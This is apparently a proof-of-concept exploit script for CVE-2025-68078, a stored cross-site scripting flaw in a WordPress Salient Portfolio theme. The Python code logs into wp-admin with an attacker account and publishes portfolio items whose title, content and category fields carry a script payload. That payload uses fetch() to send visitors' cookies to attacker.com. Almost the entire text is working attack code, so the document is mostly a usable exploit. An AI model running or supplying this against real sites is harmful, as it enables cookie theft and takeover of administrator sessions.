CVE-2025-68078

import requests import sys # CVE-2025-68078 PoC - Salient Portfolio Stored XSS # Target: WordPress site with vulnerable Salient Portfolio theme (<=1.8.2) target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/" } response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in str(session.cookies): print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Create new Portfolio with XSS payload # XSS Payload: Steals admin cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Find Portfolio post creation URL (may vary by theme version) create_url = f"{target_url}/wp-admin/post-new.php?post_type=portfolio" portfolio_data = { "post_title": f"Portfolio Item {xss_payload}", "post_content": f"Description with {xss_payload}", "_portfolio_category": f"Category{xss_payload}", "publish": "Publish" } response = session.post(create_url, data=portfolio_data) if response.status_code == 200: print("[+] Malicious Portfolio item created successfully") print(f"[+] XSS Payload stored: {xss_payload}") print("[+] Any user viewing the Portfolio page will trigger the XSS") else: print("[-] Failed to create Portfolio item")

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